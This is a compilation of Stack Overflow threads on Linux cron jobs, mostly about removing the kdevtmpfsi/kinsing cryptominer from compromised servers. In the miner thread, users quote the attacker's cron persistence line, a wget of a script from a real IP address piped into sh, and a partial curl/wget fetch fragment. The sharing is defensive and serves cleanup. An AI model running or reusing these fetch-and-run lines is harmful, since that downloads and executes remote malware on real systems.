Phantom cron job after installing ssmtp for sending e-mails - linux

Today after installing ssmtp in order to send e-mails using the terminal, I got every half hour this e-mails:
from: root <myuser>#gmail.com
to: root
date: Wed, Sep 12, 2012 at 2:09 PM
subject: Cron <root#127> [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir fuser -s {} 2>/dev/null \; -delete
mailed-by: gmail.com
content: PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib/php5/20090626/memcached.so' - /usr/lib/php5/20090626/memcached.so: cannot open shared object file: No such file or directory in Unknown on line 0
These are being sent from my own computer, as if a cron job is set up.
But I cannot find any cron job being planned.
I checked crontab with crontab -e in my root account and in the normal account, but both are empty (except for the default comments explaining cron usage).
Is there any other way to check where this cron job is being executed?

on my linux box the following directories all can contain cron scripts that would be run:
/etc/cron.d/
/etc/cron.daily/
/etc/cron.hourly/
/etc/cron.monthly/
/etc/cron.weekly/
and more specifically I found your same cron php script also in my linux box as I have php installed, find it here:
cat /etc/cron.d/php5
# /etc/cron.d/php5: crontab fragment for php5
# This purges session files older than X, where X is defined in seconds
# as the largest value of session.gc_maxlifetime from all your php.ini
# files, or 24 minutes if not defined. See /usr/lib/php5/maxlifetime
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -n 200 -r -0 rm
The php script is not sending the email, the cron daemon which runs that php script does sends it. It does so because the script outputs some error and cron sends an email to root to inform of that. Because of installing ssmtp mails sent to root get to you.
To make cron not send emails about that php script, add >/dev/null 2>&1 at the end of the php script line.
Then restart cron with /etc/init.d/crond restart
That should prevent cron from spamming you again :-) .

In must linux distros you will find a /var/spool/cron directory with a file or directory for each user that has a cron job setup. I would begin by looking there for the phantom cron job.

Related

schedule pihole blacklist from text file of domains with crontab on raspberry pi

I'm trying to edit my crontab to make a scheduled block of specific domains for my pi hole configuration.
my setup is that I've got a file: 'blocklist.txt' which contains a list of domains like:
instagram.com
facebook.com
newssite.com
and I'm using the following to get that to work with xargs. I've taken the normal version and converted it to absolute paths here so that it will work in cron. I'm also attempting to write out to a file at /home/pi/cron.log which I made just to capture the output and see what's going on. nothing updates there either.
46 17 * * * /usr/bin/xargs -a /home/pi/blocklist.txt /usr/local/bin/pihole --wild &>/home/pi/cron.log
this works totally fine when running in my normal shell and updates the log, etc... but does not work when I try to schedule a cron job for it a few minutes out.
Maybe I'm missing something with my paths or with scheduling?
I already converted my timezone in raspi-config to my timezone.
My solution does not currently read from a file, but it's very close to what you are looking for. Here's a blog post with lots of details, but here are the core snippets:
block.sh:
#!/bin/bash
blockDomains=(facebook.com www.facebook.com pinterest.com www.pinterest.com)
for domain in ${blockDomains[#]}; do
pihole -b $domain
done
allow.sh:
#!/bin/bash
blockDomains=(facebook.com www.facebook.com pinterest.com www.pinterest.com)
for domain in ${blockDomains[#]}; do
pihole -b -d $domain
done
Allow execution on these scripts:
chmod +x /home/pi/Documents/block.sh
chmod +x /home/pi/Documents/allow.sh
Block after 9pm, allow after 6am. crontab -e:
0 21 * * * bash -l -c '/home/pi/Documents/block.sh' | logger -p cron.info
0 6 * * * bash -l -c '/home/pi/Documents/allow.sh' | logger -p cron.info

kdevtmpfsi using the entire CPU [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 1 year ago.
The community reviewed whether to reopen this question 7 months ago and left it closed:
Original close reason(s) were not resolved
Improve this question
We are using an EC2(Ubuntu) amazon instance for running Apache.Recently we noticed that there is a process using the entire CPU.
We removed it using the help of the following procedure
[root#hadoop002 tmp]# systemctl status 25177
● session-5772.scope - Session 5772 of user root
Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-5772.scope.d
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
CGroup: /user.slice/user-0.slice/session-5772.scope
├─19331 /var/tmp/kinsing
└─25177 /tmp/kdevtmpfsi
Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19374]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19375]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19383]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19389]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19390]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19392]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19393]: (root) LIST (root)
[root#hadoop002 tmp]# ps -ef|grep kinsing
root 19331 1 0 16:06 ? 00:00:04 /var/tmp/kinsing
root 25190 23274 0 17:27 pts/0 00:00:00 grep --color=auto kinsing
[root#hadoop002 tmp]# ps -ef|grep kdevtmpfsi
root 25177 1 99 17:27 ? 00:01:47 /tmp/kdevtmpfsi
root 25197 23274 0 17:28 pts/0 00:00:00 grep --color=auto kdevtmpfsi
[root#hadoop002 tmp]# kill -9 19331
[root#hadoop002 tmp]# kill -9 25177
[root#hadoop002 tmp]# rm -rf kdevtmpfsi
[root#hadoop002 tmp]# cd /var/tmp/
[root#hadoop002 tmp]# ll
total 16692
-rw-r--r-- 1 root root 0 Jan 13 19:45 aliyun_assist_update.lock
-rwxr-xr-x 1 root root 13176 Dec 20 02:14 for
-rwxr-xr-x 1 root root 17072128 Jan 19 17:43 kinsing
drwx------ 3 root root 4096 Jan 13 19:50 systemd-private-f3342ea6023044bda27f0261d2582ea3-chronyd.service-O7aPIg
[root#hadoop002 tmp]# rm -rf kinsing
But after a few minutes, It again started automatically. Anyone know how to fix this?
I had the same issue with Laravel in Centos 8, This is the steps I followed to remove the malware and patch the system.
Removing the malware from system steps:
Step 1:
Remove the malware:
Kill the two process (kdevtmpfsi and kinsing -They can be in the same name but with random characters at the end-) using htop or any other process manager.
htop F3 to search services kdevtmpfsi And kinsing
Use the following to find and delete the files:
# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;
The output should look like:
removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'
Step 2:
Check for a cron job:
check if there is a cron job that would reinitialized the malware.
I found mine in: /var/spool/cron/apache >
UBUNTU /var/spool/cron/crontabs/www-data
It included the following :
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Step 3:
Make new files and make them readonly:
# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing
Patching Laravel project:
Step 1:
Turn off APP_DEBUG:
make sure that the APP_DEBUG attribute is false in .env because that's how the vulnerability gets access.
Step 2:
Update ignition:
Update ignition to a version higher than 2.5.1 to make sure the vulnerability is patched.
run the following in your project folder:
$ composer update facade/ignition
The solution mentioned here worked for us. You basically create the files the miner uses, without any rights, so the miner cannot create and use them.
https://github.com/docker-library/redis/issues/217
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "everything is good here" > /tmp/kdevtmpfsi
echo "everything is good here" > /var/tmp/kinsing
touch /tmp/zzz
echo "everything is good here" > /tmp/zzz
chmod go-rwx /var/tmp
chmod 1777 /tmp
I face to face with it after i installed and run the Flink Cluster.
Seem like we are got a attack by a malware, it trying to use our server's cpu to run the program to mine the coin.
My solution is following steps:
Kill the program is running first:
Run htop and then push F9 to kill program. We have to kill kdevtmpfsi and kinsing as well.
Delete malware file which is will be run and using the entire CPU
(With my centos 7)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
The result should be:
/tmp/kdevtmpfsi is removed
/var/tmp/kinsing is removed
Create a file with same name:
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
echo "kinsing is fine now" > /var/tmp/kinsing
Now make two files is read-only with following command:
chattr +i /tmp/kdevtmpfsi
chattr +i /var/tmp/kinsing
** You should be reboot your server. If its problem is in a remote server, and you are connecting to it with a specify port, you can change to ssh port to increase security!
I've struggled with this miner for few days and in my case it was the php-fpm:9000 port exposed.
I guess it possible to inject some code remotly this way.
So if you use docker with php-fpm, do NOT run your container this way:
docker run -v /www:/var/www -p 9000:9000 php:7.4
Remove the port mapping: -p 9000:9000.
Don't forget to re-build & restart your containers.
More details here:
https://github.com/laradock/laradock/issues/2451#issuecomment-577722571
I also was affected by this malware and I was not using Docker or running the PHPUnit vulnerability. I found this post:
https://www.ambionics.io/blog/laravel-debug-rce
which describes there was a vulnerability in facade/ignition < 2.5.2 when using Laravel in Debug mode.
Extract of Laravel .env file:
...
APP_DEBUG=true
...
After updating facade/ignition with Composer to a version > 2.5.1 and stopping the malware (steps described in the other answers), it did not came back.
Extract of Laravel composer.json file
...
"facade/ignition": "^2.5.1",
...
...then run command
composer update facade/ignition
The other answer here is good, and you should do everything mentioned there. But, if the thing keeps coming back, and/or you aren't actually using Docker, you probably have an unpatched RCE vulnerability in phpUnit. The details are here:
https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce/php/sid-4487
Our situation was:
Docker is not being used at all.
We had removed all files related to the miner.
We had locked things down using the above touch and chmod commands.
The damn thing kept trying to run at seemingly random times.
After you've locked things down with the touch/chmod changes, it can't actually DO anything, but it's still annoying, and that phpUnit vulnerability is a HUGE hole that needs plugging anyway.
Hope this helps.
Ok I've been facing the same issue as a lot of you. But my process was running as a postgres user. I suspect it was because I had opened up all incoming connections.
Yeah sure, my bad.
After trying all the solutions above none seemed to fix it permanently. It just kept spawning again with a slightly different name. No luck at all really.
First - protect agaisnt any other connections.
First things first, restrict connections in the postgres config file.
Usually found here. /etc/postgresql/12/main/postgresql.conf
Create a script to kill and remove kdevtmpfsi
Then create a new bash script in a location of your choosing..
nano kill.sh
Populate the file with the below.
#!/bin/bash
kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*
press ctrl + c to exit
kill will kill the process and the next 4 commands should delete the file(s).
We need to make the file executable with
chmod +x kill.sh
Set it to run on schedule
Ok great now if we set this up as a cron job to run every minute it should help solve the issue. (not an elegant solution but it works)
sudo crontab -e
The above command opens the crontab, a place were we can define scheduled tasks to run at set intervals.
Append this to the end.
* * * * * sh {absolutepath}kill.sh > /tmp/kill.log
ie
* * * * * sh /home/user/kill.sh > /tmp/kill.log
What the crontab entry does
* * * * * sets the time - this means every minute
sh /home/user/kill.sh runs the kill script
&
> /tmp/kill.log writes any output to file.
I know this is not a good solution. But it works.
It appears there are many vectors of attack in which this malware can be loaded onto the server. In my case the malware got to the machine through the docker:
# locate kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/diff/tmp/kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/merged/tmp/kdevtmpfsi
Docker by default exposes containers ports publicly, which is rather unfortunate. To fix it you will need to remove the malware and patch docker:
# First, stop all docker containers
$ docker stop $(docker ps -aq)
# Prune all images just for a good measure
$ docker system prune
# Kill current malware process
$ ps aux | grep kdevtmpfsi
70 21686 393 29.3 2873416 2402832 ? Ssl 22:01 19:22 /tmp/kdevtmpfsi116044092
$ kill -9 21686
# Remove any files with the name kdevtmpfsi
$ find / -iname kdevtmpfsi* -exec rm -fv {} \;
# You might need to repeat the last two commands couple times just in case
# Stop exposing docker ports with the use of IP tables
$ iptables -I DOCKER-USER -i eth0 -j DROP
$ iptables -I DOCKER-USER -m state --state RELATED,ESTABLISHED -j ACCEPT
# If no new kdevtmpfsi processes appear you should be good.
Malware is adapting and many of the solutions here do not work anymore. Experiment with few approaches till you figure our what was the vector of attack in your case.
I faced that issue and I solved it by running the following commands:
first login as a root an delete the user that has the process, in your case is www-data
sudo deluser --remove-home www-data
second kill the process of the user
killall --user www-data
I'm also facing the same issue in Ubuntu 18.04.5 LTS after deleting the malware files /tmp/kinsing & /tmp/kdevtmpfsi its generating automatically.
Fixing this issue created the bash script & set the cronjobs to run.
My solution is following steps:
Kill the program is running first:
Run htop and then push F9 to kill program. We have to kill kdevtmpfsi and kinsing as well.
Delete malware file which is will be run and using the entire CPU
#!/bin/bash
# kinsing deleteing here
PID=$(pidof kinsing)
echo "$PID"
kill -9 $PID
# /tmp/kinsing deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kinsing)
echo "$PID"
kill -9 $PID
# kdevtmpfsi deleteing here
PID=$(pidof kdevtmpfsi)
echo "$PID"
kill -9 $PID
# /tmp/kdevtmpfsi deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kdevtmpfsi)
echo "$PID"
kill -9 $PID
# Delete malware files
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
Save this one file (some-script.sh) configure the cronjobs for this
Step 1: Open crontab (the cron editor) with the following command.
$ crontab -e
Step 2: If this is your first time accessing crontab, your system will likely ask you which editor you'd prefer to use. In this example, we'll go with nano (type 1 and then Enter) since it's the easiest to understand.
$ crontab -e
no crontab for linuxconfig - using an empty one
Select an editor. To change later, run 'select-editor'.
1. /bin/nano <---- easiest
2. /usr/bin/vim.basic
3. /usr/bin/vim.tiny
4. /bin/ed
Choose 1-4 [1]:
Step 3: Make a new line at the bottom of this file and insert the following code. Of course, replace our example script with the command or script you wish to execute, but keep the */5 * * * * part as that is what tells cron to execute our job every 5 minutes.
*/5 * * * * /path/to/some-script.sh
Step 4: Exit this file and save changes. To do that in nano, you'd need to press Ctrl + X, Y, and then Enter.
That's all there is to it. Scheduling jobs in cron will run Every 5 Mins.
#!/bin/bash
kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
kill $(pgrep dbused)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
find / -iname dbused -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*
rm /tmp/dbused*
ps -ef | grep “givemexyz” | awk ‘{print $2}’| xargs pkill
ps -ef | grep “dbuse” | awk ‘{print $2}’| xargs pkill
rm -rf /bin/bprofr /bin/sysdr /bin/crondr /bin/initdr /usr/bin/bprofr /usr/bin/sysdr /usr/bin/crondr /usr/bin/initdr /tmp/dbused /tmp/dbusex /tmp/xms /tmp/x86_64 /tmp/i686 /tmp/go /tmp/x64b /tmp/x32b /tmp/2start.jpg
and
crontab -u gitlab -e
delete * * * * * (curl -fsSL $url/xms||wget -q -O-
I found all the above solutions helpful but all of them are seems the temporary solution as we need to monitor the instance and if we notice any malicious activity then do the same process again.
I have come across this virus around 1 month back and applied all the solutions above which works fine for the limited period after that, it will come again.
Even I didn't install docker in the system so docker open API port was not an issue.
But there are some open-source software which are the open gate for kinsing.
PhpMailer and Solr have some Remote Code Exec vulnerability cause the whole issue.
The easy solution is to upgrade your Solr version to 8.5.1 and there one more thing you can set as security which will 100% remove the virus and it will be permanent.
Here is the full explanation: https://github.com/amulcse/solr-kinsing-malware
in my case it run from www-data user:
helps this:
sudo crontab -u www-data -e
remove this line(cron job):
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
So, at the platform I worked at we had the same problem yep, on an ECS2 instance.
But our culprit was Redis, someone forgot to set a password on the day before and by morning we woke up to our dashboard notifying us about weird spikes of CPU usage.
If you want to verify that the malware is still running, run
ps aux | grep -v grep | grep 'kinsing|kdevtmpfsi'
If it outputs anything it means it is executing in some form.
Our solution was:
In our Redis database we deleted a bunch of keys called "backup1" "backup2", "backup3", "backup4".
Then we ssh to the server and used
sudo su root
ps aux | grep -v grep | grep 'kinsing\|kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
rm -dr /tmp/kdevtmpfsi
rm -dr /var/tmp/kdevtmpfsi
We also managed to download the script that was being scheduled to execute all the time through Redis and crontab, I assume it is what reinstalled the damned malware over and over again while we tried to remove it, its quite well made, it also kills other miners that it detects, besides trying to disable SELinux and apparmor and some other important stuff. Really amazing stuff.
I've pasted it here:
https://pastebin.com/jiifURXy
In some cases this may be due to a security breach found in a Laravel <= v8.4.2 on package facade/ignition. CVE-2021-3129
Here we have an article that explains how the malware works: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)
This problem was resolved in version 2.4.2 of this package. (facade/ignition)
If I were in your place, I would consider your instance as compromised and create a new one. In the tests I did, the malware changes places and adapts to changes made to the system in an attempt to stop it.
Maybe this would be useful for somebody.
I've found some other entries of kinsing/kdevtmpfsi:
/etc/kinsing
/usr/lib/systemd/system/bot.service
In bot.service:
ExecStart=/etc/kinsing
I've just followed instructions from this tread, deleted both files, rebooted server.
Hope it will help for somebody. I've spent all day trying to solve it.
I found this solution to temporary stop the process from running (not using Docker/Redis, so the hole is most likely in phpunit):
/bin/setfacl -m u:www-data:--- /tmp/kinsing
/bin/setfacl -m u:www-data:--- /tmp/kdevtmpfsi
It will prevent user www-data (who, in my case, was running the process) from executing the script.
Also, you will most likely have a cronjob added under user www-data - remove it and run service cron restart!
Remember, that's a temp fix/hack. You must update the vulnerable software to permanently remove this thread!
If you tried all of the methods above but still the virus still shows up, maybe in a new name, you should check the opened ports of the server and that's where the malware got into your server.
For security, you should:
start the firewall.
if you need to visit some ports of the remote server, use Port Forwarding technique.
This will make your server be safe, and no more kdevtmpfsi.
For AWS users, remove allowing all ports(0.0.0.0/0) as outbound in instance security.

Including Cron/Crontab in my Bash Backup Script with inputs

Im doing a Bash-Backup Script with 3 Options:
Do fullbackup
Do fullbackup at a specific time with cron
First I want to ask for the path like: Path of directory: /home
Then i want the hour for the backup: Hour for the backup (0:00-23:59) : 2:00
Then a simple question like: The backup will execute at 2:00. Do you agree(y/n)
I know how to do a crontab but I have no idea how to include that in my script so that I choose option 2 and then the script asks me for the directory and time and set then the crontab.
Any ideas or help would be appreciated!
You can get the existing crontab with
crontab -l
and install a new crontab with
crontab file
So your script would probably need something like
crontab -l | grep -v "# install-backup-script" > /tmp/file.$$
echo "$min $hour * * * /full/path/to/script # install-backup-script" >> /tmp/file.$$
crontab /tmp/file.$$
rm -f /tmp/file.$$

Shell script runs manually but not executed through cron job

I am using a shell script to delete log files in my Linux machine. And I have used crontab to execute this job periodically. I can execute this script manually and see it is working fine. But the script is not triggered through cron job.
Shell script:
[root#testVM-dev log]# vim /path_to_dir/log_cleanup.sh
#!/bin/bash
now=$(date)
echo "Cron Job to delete log files start...# $now" | tee -a /path_to_dir/log/cronjob_log.log
/usr/bin/find /path_to_dir/log/localhost_access_log.* -type f -mtime +5 -print -delete | tee -a /path_to_dir/log/cronjob_log.log
echo "Delete files completed!" | tee -a /path_to_dir/log/cronjob_log.log
crontab entry: (Runs every minute)
[root#testVM-dev log]# crontab -l
*/1 * * * * root /path_to_dir/log_cleanup.sh
Also I have checked in cron logs that the job is executed every minute. But I couldn't see any logs in the targeted log file "cronjob_log.log"
cron logs:
vim /var/log/cron
Jul 16 03:56:01 rstestVM-dev crond[19131]: (root) CMD (root /path_to_dir/log_cleanup.sh)
Jul 16 03:57:01 rstestVM-dev crond[19150]: (root) CMD (root /path_to_dir/log_cleanup.sh)
Jul 16 03:58:01 rstestVM-dev crond[19168]: (root) CMD (root /path_to_dir/log_cleanup.sh)
Jul 16 03:59:01 rstestVM-dev crond[19188]: (root) CMD (root /path_to_dir/log_cleanup.sh)
Can someone help me on what is going wrong here?
Besides manually specifying value of PATH, try specifying the path to tee and date.
/usr/bin/date, /usr/bin/tee
I have found the solution. That I have removed the user from crontab entry & it worked.
Original crontab entry:
[root#testVM-dev log]# crontab -l
*/1 * * * * root /path_to_dir/log_cleanup.sh
After modification:
[root#testVM-dev log]# crontab -l
*/1 * * * * /path_to_dir/log_cleanup.sh
Now I got confused why the user entry in cron job didn't work? Can someone explain?

Unable to find a cron file

I have to migrate a server to a new cloud provider. In doing so I need to copy all the LAMP code to new virtual machine. I did all that. However, on the old server one cron job runs which does something. I'm unable to find the cron file and migrate it to new server. The output of:
grep CRON /var/log/syslog
is
Nov 5 19:00:01 frroleapi CRON[22975]: (root) CMD (php /var/www/api/scheduler.php)
Nov 5 19:05:01 frroleapi CRON[23189]: (root) CMD (php /var/www/api/scheduler3.php)
Nov 5 19:05:01 frroleapi CRON[23190]: (root) CMD (php /var/www/api/scheduler.php)
Nov 5 19:09:01 frroleapi CRON[23382]: (root) CMD ( [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete)
The last cronjob is a file php5 in /etc/cron.d. However, I'm unable to find the cron files for earlier entries.
You should be able to open the list of scheduled cron events with the crontab command. This should also show you what files run during the cron and where they are located:
crontab -l
You can then add these cron entries to the new server using crontab with the edit parameter, like this:
crontab -e
For more information, see also: http://unixhelp.ed.ac.uk/CGI/man-cgi?crontab+5
This tutorial may also be helpful for understanding cron and crontab: http://kvz.io/blog/2007/07/29/schedule-tasks-on-linux-using-crontab/

Resources